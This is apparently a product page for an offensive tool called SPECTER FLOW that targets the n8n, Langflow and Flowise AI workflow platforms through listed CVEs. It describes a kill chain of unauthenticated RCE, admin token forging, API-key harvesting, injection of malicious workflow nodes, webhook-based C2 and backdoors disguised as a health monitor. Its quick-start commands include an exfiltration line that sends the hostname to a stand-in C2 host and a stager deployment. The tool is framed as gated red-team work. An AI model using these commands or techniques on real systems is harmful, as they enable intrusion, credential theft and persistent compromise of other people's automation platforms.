T109 — NIGHTFALL AI Workflow Builder Attack Engine — L20 AI Workflow Automation

SPECTER FLOW

The Pipeline Is The Attack Surface.

SPECTER FLOW is the first offensive security tool targeting AI workflow automation platforms. Three CISA-flagged, actively-exploited CVEs anchor the toolkit: CVE-2026-21858 Ni8mare (CVSS 10.0) enables unauthenticated RCE on n8n via webhook content-type confusion; CVE-2026-33017 (CVSS 9.3) delivers unauthenticated RCE on Langflow exploited within 20 hours of disclosure; CVE-2025-59528 (Max severity) enables unauthenticated JS injection to RCE on 15,000+ exposed Flowise instances. SESSION-FORGE extracts admin tokens from file read primitives. WORKFLOW-POISON injects persistent malicious nodes. WEAPONIZE converts legitimate webhooks into C2 channels — 686% abuse increase documented by Cisco Talos. 249 tests. Zero failures.

249
Tests
8
Subsystems
3
Platforms
3
Gate Tiers

CVE-2026-21858 CVSS 10.0 CVE-2026-33017 CVSS 9.3 CVE-2025-59528 Max

Kill Chain

Eight subsystems. Full workflow platform exploitation pipeline.

1
SURVEY
2
WEBHOOK-RCE
3
SESSION-FORGE
4
CREDENTIAL-HARVEST
5
WORKFLOW-POISON
6
WEAPONIZE
7
PERSIST
8
REPORT
SURVEY

HTTP fingerprinting of n8n, Langflow, and Flowise instances. Platform version detection via endpoint signatures. Unauthenticated endpoint enumeration. CVE applicability mapping. Webhook inventory via /rest/workflows scan.

WEBHOOK-RCE

CVE-2026-21858 "Ni8mare": multipart boundary confusion smuggles path traversal in filename field, triggering arbitrary file read on n8n. CVE-2026-33017: unauthenticated /api/v1/run on Langflow. CVE-2025-34291: /validate/code exec. CVE-2025-59528: Flowise prediction endpoint JS injection.

SESSION-FORGE

Stage 2 of CVE-2026-21858: file read retrieves ~/.n8n/config, extracts encryptionKey, forges HMAC-signed admin token. Langflow default superuser credential test. CVE-2025-34291 CORS+CSRF token harvest via /whoami. Flowise unauthenticated /api/v1/apikey harvest.

CREDENTIAL-HARVEST

Systematic extraction of API keys from workflow configurations. Scans /rest/credentials, /rest/workflows, /api/v1/flows/, /api/v1/variables, /api/v1/chatflows. Regex detection for OpenAI, Anthropic, AWS, GitHub, Slack, GitLab, generic secrets, and Bearer tokens.

WORKFLOW-POISON

Injects malicious Execute Command nodes into existing n8n workflows. Appends custom Python components to Langflow flows. Embeds setInterval-triggered execSync nodes in Flowise chatflows. Optional C2 exfil node chained to poison node output.

WEAPONIZE + PERSIST

WEAPONIZE: deploy new n8n workflow with webhook trigger that dynamically serves malware payloads based on User-Agent. Hijack existing webhooks. Flowise prediction endpoint as C2 relay. PERSIST: schedule cron-triggered RCE workflows disguised as "SystemHealthMonitor". Flowise setInterval backdoor node.

Subsystems

SubsystemGateFunction
SURVEYOPENPlatform fingerprinting, endpoint enumeration, CVE applicability, webhook inventory
WEBHOOK-RCEINJECTCVE-2026-21858 (n8n), CVE-2026-33017 + CVE-2025-34291 (Langflow), CVE-2025-59528 (Flowise)
SESSION-FORGEINJECTEncryption key extraction, admin token forge, default creds, CSRF token harvest
CREDENTIAL-HARVESTINJECTAPI key extraction from workflow configs, credentials store, variables endpoints
WORKFLOW-POISONUNLEASHEDMalicious node injection into existing workflows across all three platforms
WEAPONIZEUNLEASHEDWebhook-based C2 deployment, payload delivery, legitimate-platform relay
PERSISTUNLEASHEDScheduled backdoor workflows, cron-triggered RCE, setInterval persistence nodes
REPORTOPENEd25519-signed SFL-{hex12} HTML+JSON reports, auto-generated findings

Quick Start

# Install
pip install -e /path/to/red-specter-specter-flow

# Survey — fingerprint platform and enumerate attack surface
specter-flow survey http://n8n.target.internal:5678

# Exploit CVE-2026-21858 Ni8mare for file read / RCE (INJECT gate)
specter-flow webhook-rce http://n8n.target.internal:5678 \
  --platform n8n \
  --command "id" \
  --override INJECT

# Forge admin session from encrypted config (INJECT gate)
specter-flow session-forge http://n8n.target.internal:5678 \
  --platform n8n \
  --override INJECT

# Harvest API keys from workflow configurations (INJECT gate)
specter-flow credential-harvest http://n8n.target.internal:5678 \
  --platform n8n \
  --token <forged-token> \
  --override INJECT

# Poison workflows with malicious nodes (UNLEASHED gate)
specter-flow workflow-poison http://n8n.target.internal:5678 \
  --platform n8n \
  --command "curl http://c2.example.com/$(hostname | base64)" \
  --override UNLEASHED \
  --confirm-workflow-manipulation \
  --roe-file roe.txt

# Deploy C2 webhook channel (UNLEASHED gate)
specter-flow weaponize http://n8n.target.internal:5678 \
  --platform n8n \
  --payload stager \
  --c2 https://c2.callback.example.com \
  --override UNLEASHED \
  --confirm-workflow-manipulation \
  --roe-file roe.txt

# Generate signed SFL report
specter-flow report http://n8n.target.internal:5678 --output /tmp/

CVE Coverage

CVECVSSPlatformTechnique
CVE-2026-21858 "Ni8mare"10.0n8nWebhook content-type confusion → arbitrary file read → admin session forge → unauthenticated RCE
CVE-2026-218779.xn8nSecondary n8n RCE chain
CVE-2026-274939.xn8nn8n RCE chain (CVSS 9.x)
CVE-2026-330179.3LangflowUnauthenticated RCE via /api/v1/run; CISA advisory; exploited <20h post-disclosure
CVE-2025-342919.4LangflowCORS misconfig + missing CSRF + unsafe /validate/code exec → full account takeover
CVE-2025-59528MaxFlowiseUnauthenticated JS injection → RCE; 15,000+ instances exposed

Gate System

GateFlagCapability
OPEN(default)SURVEY, REPORT — passive fingerprinting and reporting
INJECT--override INJECTOPEN + WEBHOOK-RCE, SESSION-FORGE, CREDENTIAL-HARVEST
UNLEASHED--override UNLEASHED --confirm-workflow-manipulation --roe-file roe.txtINJECT + WORKFLOW-POISON, WEAPONIZE, PERSIST — ROE file must contain "workflow manipulation authorised"

Threat Intelligence

SourceFinding
Horizon3.ai (2026)CVE-2026-21858 "Ni8mare" — CVSS 10.0 n8n RCE; 100,000+ instances exposed globally
CISA Advisory (2026)CVE-2026-33017 Langflow RCE actively exploited in wild; unpatched instances remain vulnerable
Cisco Talos (May 2026)686% increase in n8n webhook abuse for malware delivery; legitimate cloud IPs bypass reputation filters
BleepingComputer (2025)CVE-2025-59528 Flowise Max-severity RCE actively exploited; 15,000 instances exposed on internet

WMD Classes

workflow_rce_chain ai_pipeline_credential_exfil webhook_c2_deployment persistent_workflow_backdoor enterprise_automation_destruction

Report Format

All reports are signed with the operator's Ed25519 private key at ~/.specter_flow/operator.key. Report IDs follow the format SFL-{12 hex chars}. Reports include all subsystem results, CVE evidence, credential findings, and Ed25519 signature. Delivered as both JSON and HTML.